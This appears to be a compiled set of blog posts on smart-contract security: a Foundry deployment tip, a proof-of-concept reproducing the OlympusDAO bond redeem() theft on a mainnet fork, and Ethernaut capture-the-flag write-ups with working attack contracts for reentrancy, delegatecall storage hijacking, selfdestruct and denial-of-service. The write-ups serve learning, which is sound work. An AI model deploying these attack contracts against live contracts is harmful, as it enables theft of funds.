$ forge script script/Deploy.s.sol --rpc-url <rpc_url> --broadcast --verify -vvvv --sender <wallet_address> -i 1

While running the script, you will now be prompted with a message similar to this

==========================

Chain 5

Estimated gas price: 3.00000002 gwei

Estimated total gas used for script: 3524127

Estimated amount required: 0.01057238107048254 ETH

==========================

###
Finding wallets for all the necessary addresses...
Enter private key:

As you can see, forge pauses before completing the deployment to ask for your private key. You can now check the estimated amount of ETH required for the transaction.

This is a life saver especially when deploying large contracts during periods of high on-chain activity where you may want to avoid accidentally spending a lot of money on transaction fees before you have a chance to agree to the estimate.

If you found this helpful, support my work by collecting an NFT of this piece!

Background

First a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By doing this, OlympusDAO maintains a large share of the LP tokens on OHM trading pairs, which provides income to the DAO in trading fees.

On October 6th, OlympusDAO announced that it was launching bonding with Bond Protocol. This is when the vulnerable code went live. The attack transaction of interest can be seen on etherscan here:

https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

You might notice that this was a private transaction which was not sent to the mem pool, but rather was sent directly to miners. The reasons for this are fascinating and I’ll discuss them in another post. For now, the transaction trace can be seen here:

https://tx.eth.samczsun.com/ethereum/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

From the trace, we see that the vulnerability lies in the redeem() function. Taking a look at Bond Protocol’s smart contracts, the function looks like this

function redeem(ERC20BondToken token_, uint256 amount_) 
external 
override 
nonReentrant {
    if (uint48(block.timestamp) < token_.expiry())
        revert Teller_TokenNotMatured(token_.expiry());
    token_.burn(msg.sender, amount_);
    token_.underlying().transfer(msg.sender, amount_);
}

Let’s take a close look at what is going on here. First, it checks to make sure that the expiry() function of the requested token is at a later time than the current block. Next, it burns the amount of bonded tokens the user wants to redeem and then transfers the underlying token to the user. The underlying token here are the OHM tokens.

The key to this exploit is noticing that there is no check here to make sure that the users balance is greater than the amount of tokens being transferred. In addition to this, there is no whitelist to make sure that the token passed in is not malicious. Thus, an attacker can just request all of the available tokens and this contract will send them. This can be done with a malicious wrapping token and using that to request all of the tokens in the contract.

Proof of concept

To demonstrate this attack, we can use a Foundry test suite. With Foundry, we can fork the ethereum mainnet locally and run our code at a specified block.

First, we define the interface of the victim contract along with a compromised bonding token

address constant OHM_TOKEN = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
address constant BOND_FIXED_EXPIRY_TELLER = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;

interface IBondFixedExpiryTeller {
    function redeem(OlympusDaoExploitToken token, uint256 amount) external;
}

contract OlympusDaoExploitToken {
    uint48 public expiry = uint48(block.timestamp) - 1 minutes;
    address public underlying = OHM_TOKEN;

    function burn(address caller, uint256 amount) external {}
}

Next, we can create our test contract which will attack the BondFixedExpiryTeller contract.

contract OlympusDaoHack is Test {
    OlympusDaoExploitToken exploitToken;
    IBondFixedExpiryTeller expiryTellerContract;
    address attacker;

    function setUp() public {
        exploitToken = new OlympusDaoExploitToken();
        expiryTellerContract = IBondFixedExpiryTeller(BOND_FIXED_EXPIRY_TELLER);
        
        // This just creates a random looking address
        attacker = payable(
            address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
        );
    }

    function testExploit() public {
        // Send all messages from the attacker
        vm.startPrank(attacker);
        uint256 amount = IERC20(OHM_TOKEN).balanceOf(BOND_FIXED_EXPIRY_TELLER);

        expiryTellerContract.redeem(exploitToken, amount);
        console.log("Attacker balance", IERC20(OHM_TOKEN).balanceOf(attacker));
        vm.stopPrank();

        assertEq(IERC20(OHM_TOKEN).balanceOf(attacker), amount);
    }
}

Now, we can simulate being the attacker by forking mainnet at the block right before the attack happened (15794363). This can be accomplished using the following command

forge test -vv --match-contract OlympusDaoHack --fork-url <RPC_URL> --fork-block-number 15794363

Running this yields the following output

Running 1 test for test/OlympusDaoHack.t.sol:OlympusDaoHack
[PASS] testExploit() (gas: 55982)
Logs:
  Attacker balance 30437077948152

The attackers new balance is 30437077948152, which is exactly what we saw the attacker stole IRL.

Final thoughts

There are a few things that can be learned from this attack. Firstly, when doing a token transfer out of a contract, it is imperative to ensure that the requester actually owns the amount of tokens they are requesting. This exploit would not have been possible if there was a simple balance check.

Secondly, the attack would also not have been possible if the Bond tokens had been whitelisted. Thus, it was possible to have a malicious Bond token which points to something that it doesn’t actually wrap as the underlying token.

Investigation

We’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

We need to call the Shop contract from a contract that implements the Buyer interface. The second thing to note is that the call to price in the Buyer contract will need to change to a value that is less than 100 the second time it is called.

Since the price function needs to have a view modifier, it cannot update state. Therefore, the Buyer contract cannot simply keep track of how many times price has been called internally.

Solution

The key to solving this challenge is that the Buyer function can read the state of Shop. In the Shop contract, the isSold variable is updated to true before the price is set and _buyer.price() is called again. This issue could be resolved by ensuring _buyer.price() is called only once and storing the returned value locally. However, for us this is an attack vector.

My attack contract looks like this

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Buyer {
  Shop shop;

  constructor(address _shopAddress) {
      shop = Shop(_shopAddress);
  }

  function price() external view returns (uint) {
      if (!shop.isSold()) {
          return 120;
      } else {
          return 10;
      }
  }

  function attack() public {
      shop.buy();
  }
}

interface Shop {
  function buy() external;
  function isSold() view external returns (bool);
}

Here, I simply check the value of isSold on the Shop contract and change the value that is returned from price if it is. The key takeaway here is that view functions may not modify state themselves, but they can change their behaviour based on external state modifications.

What I learned

1. It's unsafe to change the state based on external and untrusted contracts logic.

Investigation

Here is the contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

This contract allows us to set the partner to be any address. When we call withdraw, we pay the gas fees and get a small amount of the funds. The owner gets the same amount of funds.

Solution

When transferring funds to another address, we need to take care because that address might be another contract that can run code. The EVM will run the code in the receive function of the called contract no matter what it is. That code can revert, exhaust gas etc. This is exactly what we will be doing to crack this challenge. This is my simple attack contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialAttack {

    receive () payable external {
        while (true) {}
    }
}

Here, call an infinite loop in the receive function to exhaust the gas that was sent. This makes it impossible for the owner to access their funds. This can also be solved by doing a revert or assert(false) in the receive function.

What I learned

1. Sending ether to an address needs to be done carefully because it might be a contract on the other side which will run malicious code

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Investigation

The objective is to take ownership of the contract. As we can see, the contract inherits from Ownable. Ownable has one item in storage which is the address of the deployer of the contract. Thus, the _owner variable will be in the first storage slot. Since an address is only 20 bytes, the first storage slot gets packed in with the bool , contact that is defined after it. Sure enough, checking the storage for the first slot, we get

await web3.eth.getStorageAt(contract.address, 0)
"0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272" 

Here, we can see that the address that deployed the contract is da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 and the boolean contact is set to true which is the first 1. Note that when tightly packing, the EVM stores values from left to right.

The contract can record new values into the codex by calling the record function. This simply pushes a new value into the array. To remove values from the array, this contract does something interesting with retract. Instead of trying to remove the actual value, it just reduces the length of the array. This makes it so that the ABI will throw an error when trying to access values beyond the length. This is all well and good, but there is no check for underflow here which is a potential source for an exploit.

The final function in the contract is revise. This simply allows the caller to set any value in the codex array.

Solution

The key breakthrough to tackling this problem is to understand that storage slots wrap around - similar to unsigned integers. This means that after slot 2^256 - 1, the next slot is slot 0. This means that if we can set a high enough value in the array, the array can be used to effectively write to any slot in the contract.

The first step to take here is to “open” up the array to the entire storage space of the contract. By forcing an underflow by calling retract when there are no values, the length of the array gets set to 0xfff…fff. The address of the 0 slot can then be found by simply getting the difference between this and the array slot location and adding 1. Setting this new index with revise solves the challenge

https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F

Investigation

We have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottom

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Off the bat, we can see that delegatecall is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code with the context of the calling contract. This means that the storage values in the Preservation instance are used even though the function is being run from the LibraryContract instance.

Solution

When using delegatecall, the caller contract accesses storage by the order it is written. ie. There is an error in this LibraryContract because the storedTime field is in the first slot, however it is in the fourth slot in Preservation. This means that setting storedTime through a delegate call will actually be setting timeZone1Library in the Preservation contract.

We can verify this with a call to the second library function.

await contract.setSecondTime(10);
await contract.timeZone1Library();
// "0x000000000000000000000000000000000000000A" 

This can be exploited to set the timeZone1Library to a contract that I control. I can then make this contract set the owner value. My attack contract looks like this

contract PreservationAttack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner; 
    uint storedTime;

    function setTime(uint _time) public {
        owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252);
    }
}

The order of the storage slots is consistent with the Preservation contract. First, I use the exploit outlined above to set the Preservation contract instance to point to my library for its timeZone1Library after deploying PreservationAttack.

await contract.setSecondTime("0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51")

Now, I simply have to call setFirstTime which will trigger the setTime method in my attacking contract.

await contract.timeZone1Library()
// "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" <-- My contract

await contract.setFirstTime(10)
await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" <-- Me :D 

What I learned

1. As we’ve seen before, delegatecall can be dangerous and needs to be used with care

2. We could have used the library keyword for the Library contract instead of contract. This ensures that Library is not able to change state

3. Used some skills from earlier challenges for understanding storage slots

https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F

Investigation

We have a smart contract which inherits the ERC20 implementation from OpenZeppelin

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

It adds on some implementation detail which prevents the owner from transferring tokens out until it has been a year since the contract was created. The challenge here is to transfer the tokens out to some other address

Solution

I found that this was one of the easier ethernaut challenges. Looking through the ERC20 implementation by OpenZeppelin, I found that there are additional ways to transfer tokens other than the transfer method which has been overriden above. Specifically, I was interested in the transferFrom method. The function signature looks like this

transferFrom(address sender, address recipient, uint256 amount) → bool

This function uses the “allowance” mechanism from ERC20. All this means is that accounts can allow other accounts to spend tokens on their behalf. In my case, I decided I can just allow my own account to spend tokens, and then use transferFrom to send those tokens to another address.

await contract.increaseAllowance(player, "1000000000000000000000000")
await contract.transferFrom(player, "<other address>", "1000000000000000000000000")

And voila, the level is cracked.

What I learned

1. Overriding functions works to add custom authorization behaviour, but we have to be careful about all the mechanisms that we need to override

2. I also learned about the full implementation of ERC20 from OpenZeppelin

https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d

Investigation

The contract for this problem looks quite similar to the first one. There are multiple gates which must be passed in order to call the enter function.

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Solution

To pass gateOne, we can use a similar approach to the previous challenge. To ensure that msg.sender != tx.origin, the contract functions can be called through a relayer contract.

Passing gateTwo is a bit more tricky. Here we see our first example of assembly code being used in a contract. Specifically here we have the use of inline assembly. This allows contract developers to write logic that is not supported by the solidity compiler. It is thus extremely useful for library creators to have access to these low level features of the EVM. Specifically, the function being used here is the extcodesize function.

After doing some research, I found that extcodesize is used to determine the size of a contract at a given address. Some people use this to ensure that functions are being called by non-contracts. One thing to note is that this call returns 0 if the contract target has not been initialized, ie. the constructor has not completed running. Therefore, it is possible to bypass this by making calls through the constructor of my relayer contract.

Finally, gateThree has some binary operation logic which must pass in order for it to work. The full operation is as follows

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1

First, we can take a look at the right-hand side of the operation. uint64(0) - 1 causes the unsigned integer to underflow. Thus, this value is the largest possible uint64 which is 0xffffffffffffffff. Now, we can try to match up the left side of the operation with this.

The ^ operation is an XOR, which sets each bit to 1 if both inputs are 0. eg. binary 101 ^ 011 = 110. Thus, to get the output that we want, _gateKey just needs to be the exact flipped bits of bytes8(keccak256(abi.encodePacked(msg.sender)). We can get this by doing an XOR on bytes8(keccak256(abi.encodePacked(msg.sender))with 0xffffffffffffffff. My full relayer contract code looks like this

constructor (address _gatekeeperAddress) {
        bytes8 negatedGateKey = bytes8(keccak256(abi.encodePacked(address(this))));
        bytes8 gateKey = negatedGateKey ^ 0xffffffffffffffff;

        (bool success, ) = _gatekeeperAddress.call(abi.encodeWithSignature("enter(bytes8)", gateKey));

        require(success);
    }
}

Thus successfully cracks the problem

https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A

Investigation

For this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like this

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

There are three modifiers that we need to successfully pass

Solution

To pass gateOne, I simply needed to pass the message through a proxy contract. This way, msg.sender != tx.originwill return true. This works because tx.origin is the initiator of the transaction while msg.sender is the caller of the function. So tx.origin will be my wallet and msg.sender will be the proxy contract.

I’ll skip gateTwo for now since it is more difficult. To get through gateThree, a few casting checks need to be passed. From the last require statement, we see that uint32(uint64(_gateKey)) == uint16(tx.origin) must be true. Casting an address to uint16 will take only the last two bytes of tx.origin and convert them to decimal. Thus, the last two bytes of _gateKey must be the last four hex values of my wallet. In my case 0xc252.

Moving upwards in the require chain, we see that uint64(_gateKey) must be different from uint32(_gateKey). We can make this happen by setting a bit that is out of reach for uint32. I did this by setting the highest bit in a 64 bit value. So my new _gateKey is 0x100000000000c352. To verify this, I used a solidity repl which I found here:

https://github.com/raineorshine/solidity-repl

uint32(uint64(gatekey));
// 49746

uint64(gatekey);
// 1152921504606896978

The last require statement just makes sure that the uint32 and uint16 values of my gate key are the same. These values are equal here since the lower 4 bytes and lower 8 bytes of 0x100000000000c352are equal.

The final modifier is gateTwo. This is tricky because it is very difficult to calculate exact gas costs of a call chain on the EVM. This is because different solidity compiler versions may use different gas costs for the same operations. So that I don’t lose my mind, I just did a brute force calculation in my proxy contract by setting different gas values until one of them worked. My proxy contract looks like this

contract Gatekeeper1Relay {
  address public gatekeeper1Address;

  constructor(address _gatekeeper1Address) {
    gatekeeper1Address = _gatekeeper1Address;
  }

  function enter() public {
    bytes8 gateKey = 0x100000000000c252;

    for (uint gas = 0; gas < 8191; ++gas) {  //for loop example
      (bool success, ) = gatekeeper1Address.call{gas: 100000 + gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));

      if (success) {
        return;
      }
    }

    require(false);
  }
}

I use the gateKey that was determined previously. Then, I call the enter function on the target contract with an initial gas of 100000. This call then loops through the gas values until one of them successfully breaks in to the contract. If none of them work, then I force the transaction to fail with require(false).

Note that I used ++gas instead of gas++ in the for loop. I did this because I recently learned that the prefix increment is actually cheaper than postfix since it does not need to do an assignment. Small optimization but worth noting.

By calling enter on my proxy contract, the problem gets solved.

What I learned

1. The solidity repl I linked is extremely useful for running single lines of solidity code to see how the platform works

2. Casting to smaller values in solidity. I’m working on a bigger writeup about this because there are some interesting caveats between the way casting works for bytes versus other types such as uint and int

3. When all else fails, brute force 😏

My 11th Ethernaut challenge, Privacy

https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B

Investigation

This challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contract

contract Privacy {
  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
}

Since the data variable has been marked as private, a getter function is not generated by the compiler. ie this will not work.

await contract.data();

However, we can manually view the data stored at each storage slot using the getStorageAt from the web3.eth library.

Solution

The getStorageAt function takes two parameters, the contract address and the storage slot. I first created a helper function to wrap this.

const storageAtIndex = async (index) => web3.eth.getStorageAt(contract.address, index, console.log)

The slot I am interested in here is the one that contains the third element in data. I went through each slot one by one to get a sense of how the solidity packing rules work.

await storageAtIndex(0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"

This is the value of locked which is a simple boolean. No other data is fit into the first slot since the next element, ID is a uint256. uint256 is 32 bytes long and thus takes up the entire next slot.

await storageAtIndex(1);
// "0x000000000000000000000000000000000000000000000000000000006302e9b9"
web3.utils.toNumber("0x000000000000000000000000000000000000000000000000000000006302e9b9");
// 1661135289

The ID field stores the block timestamp at the time the contract was constructed. Using the toNumber util, I convert this to an integer and it lines up to when the contract was deployed. Nice 👌

await storageAtIndex(2);
// "0x00000000000000000000000000000000000000000000000000000000e9b9ff0a"

With the way EVM variable packing works, flattening (uint8), denomination(uint8) and awkwardness(uint16) are all fit into storage slot 2. In addition to this, the data is packed in reverse order, ie. flattening is the last piece of data at this location. Moving backwards, we see that flattening is 0x0a which corresponds to the integer value 10. denomination is 0xff which corresponds to 155. Finally, awkwardness is represented by e9b9.

Now to the important part, data. Since data is a fixed size array, it is stored completely in sequential order from the starting slot position. ie. data[0] is at slot 3, data[1] is at slot 4, etc. The key is derived from data[2]. The value is then clamped to the first 16 bytes by casting to a bytes16. Thus I get the key as follows

key32 = await storageAtIndex("5");
key16 = key32.substring(0, key32.length - 32);
await contract.unlock(key16);
await contract.locked();
// false

The contract is successfully unlocked

What I learned

1. The EVM does variable packing to reduce the footprint of storage. Sequential elements that can fit into 32 bytes are slotted together into the same location in storage

2. Elements of fixed size arrays behave like normal storage slotting. Elements of dynamic sized arrays are a bit more complex where the array location is the keccack(slotPosition)

3. The location of elements of a mapping can be found with the keccack(slotPosition, mappingKey)

https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687

Investigation

We have a contract for an Elevator that should not let the user get to the top floor.

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

By calling goTo, we can update the floor in the Elevator instance. However, the logic intends to never allow the user to get to the top floor of any provided building. The if statement makes sure that the current floor is not the last floor before setting the floor and top values. Since two contract calls are made to the instance of Building, it is possible to return to different values for isLastFloor , thus tricking the elevator to update to be at the top floor unexpectedly.

Solution

I created a new Building contract to demonstrate this

contract Building {
    address elevatorAddress;
    uint calls = 0;

    constructor (address _elevatorAddress) {
        elevatorAddress = _elevatorAddress;
    }

    function attack (uint _floor) public {
        Elevator elevator = Elevator(elevatorAddress);

        elevator.goTo(_floor);
    }

    function isLastFloor(uint floor) override external returns (bool) {
        if (calls == 0) {
            calls += 1;
            return false;
        } else {
            return true;
        }
    }
}

interface Elevator {
    function goTo(uint _floor) external;
}

Here, we track how many times the isLastFloor command has been called. If it has been called before, we simply increase the calls and return true instead of false on every subsequent call. Sure enough, with this technique, the Elevator instance breaks since it enters an unexpected state.

What I learned

1. We can’t trust that external contract calls will always return the same output for a given input

2. To improve this code, we can use view or pure in the interface definition for Building which will ensure that the isLastFloor function cannot modify state between calls

https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D

Investigation

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Our contract here serves as a store of value where anyone can deposit funds and withdraw them at any time. Looking at the contract logic, a user should only be able to withdraw up to the amount of funds that they have in their balance.

The cool thing about reentrancy attacks is that they can allow an attacker to recursively pull out funds. This happens because the balance is only updated after the amount has been sent to the user. Because of this, the attacking contract can call back in to the main contract and withdraw again.

Solution

I created an attacker contract that looks like this

contract AttackReentrance {
  address payable contractAddress;
  Reentrance reentranceInstance;

  constructor (address payable _contractAddress) {
      contractAddress = _contractAddress;
      reentranceInstance = Reentrance(contractAddress);
  }

  receive () external payable {
      reentranceInstance.withdraw(0.001 ether);
  }

  function donate() public payable {
      contractAddress.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
  }

  function attack () public payable {
      reentranceInstance.withdraw(0.001 ether);
  }
}

With this AttackReentrance contract, I make a donation to the instance of Reentrance first. After that, I call attack which just performs a withdrawal of the amount donated back into AttackReentrance. The special sauce here is the receive callback function. As an aside, I’m finding that fallback functions are extremely versatile for attacking contracts because they force contracts to run my code.

The receive function then calls withdraw again for 0.001 ether. Since the balance is only updated in Reentrance after the transfer has been made, the users balance has not been updated at this point. This means that the next withdrawal will go through and withdrawals will keep happening until the Reentrance instance is completely drained of funds.

There were some problems that I could not figure out why they were happening here.

1. When I called donate on my AttackReentrance function, my transactions always ran out of gas when using the estimate from Remix. I had to 10x the gas estimate to ensure the transaction went through which was odd

2. I expected to be able to use call on the contract address instead of initiating an instance of the contract. I was only able to initiate an instance because I had the source code for Reentrance. This call kept failing for me. If someone knows why, please let me know 🤠

   contractAddress.call(abi.encodeWithSignature("withdraw(uint)", 1000000));
   

What I learned

1. Reentrancy problems are pretty simple to avoid using something like ReentrancyGuard from OpenZeppelin. However, it is really cool to see how they work and see in practice how dangerous they can be

https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5

Investigation

We are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new king.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

The goal is to gain the king status and make it so that nobody else can become the new king. First, to test things out, I sent some ether to the contract and this indeed made my wallet address the new king. However, on submitting the contract, the owner steals back the king status. So I needed something more drastic.

Solution

After giving this some thought, I found that the key here is to take advantage of the fact that whenever someone new tries to become the new king, the contract has to send all of its ether to the current king. This would be fine if the funds were being sent to a regular wallet, but if I make a contract the current king, then the EVM will be forced to run code in my contract when the funds are sent. To demonstrate this, I created an AttackKing contract that looks like this

contract AttackKing {
    address payable kingInstanceAddress;
    King kingInstance;

    constructor(address payable kingAddress) {
        kingInstanceAddress = kingAddress;
        kingInstance = King(kingAddress);
    }

    receive () external payable {
        // Revert when anyone else tries to become king
        if (msg.sender == kingInstanceAddress) {
            revert("Not letting you take my kingship");
        }
    }

    function attack () payable public {
        uint currentPrize = kingInstance.prize();
        require(msg.value > currentPrize, "Not enough ether sent");

        (bool success, ) = kingInstanceAddress.call{value: msg.value}("");
        require(success, "Transfer failed.");
    }
}

I deployed this contract and called the attack function with some ether. This then transfers ether to the deployed King contract, thus taking ownership of it. Verifying this:

await contract._king()
// "0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07" <- My contract!

When the owner of King tries to take the king status back, the contract tries to send ether to my exploit contract which reverts the entire call stack and the transaction fails 😏.

What I learned

1. We can send ether with a transaction directly in the Remix IDE by filling in the value field. This was a bit annoying because it doesn’t allow decimal places

2. When writing contracts, we need to take special care with ether transfers because transferring ether can mean running untrusted code

3. The current best way to send ether is using the call method. ie.

   kingInstanceAddress.call{value: msg.value}("")
   

   Source:

   https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage

https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea

Investigation

The code for the contract here is very simple. The contract does not have a receive or fallback function, so it does not intend to receive any ether. The challenge here is to send some ether to the contract unexpectedly.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

I was not familiar with any ways of sending ether to a contract without through the fallback methods. In fact, I tried sending funds directly to the contract address with metamask but the transaction failed.

So, to the docs! Under the section for receive, there is a handy warning about receiving funds

A contract without a receive Ether function can receive Ether as a recipient of a coinbase transaction (aka miner block reward) or as a destination of a selfdestruct.

If the contract address receives a miner block reward or if it is the destination of a selfdestruct, it will always receive that ether even without a fallback function. I was not aware of selfdestruct, so I did some more digging.

selfdestruct sends all remaining Ether stored in the contract to a designated address.

This looks very handy. If I can create a new contract, I should be able to use selfdestruct to send the ether in the contract to the one I am interested in attacking

Solution

I created a new solidity contract to attack the contract of interest

contract ForceSendEther {
    address payable recepient;

    constructor(address payable _recepient) {
        recepient = _recepient;
    }

    receive () external payable {}

    function attack() public {
        selfdestruct(recepient);
    }
}

I now deployed this contract and sent a little bit of eth to it. Finally, calling the attack function on my contract, I self destruct it and the EVM sends all the eth in the contract to the recipient. Interestingly, the ether shows up in the contract, but there were no transactions indicating it did

https://rinkeby.etherscan.io/address/0xFe58aDE3a009C593cF5621dB793f5dBEd403523D

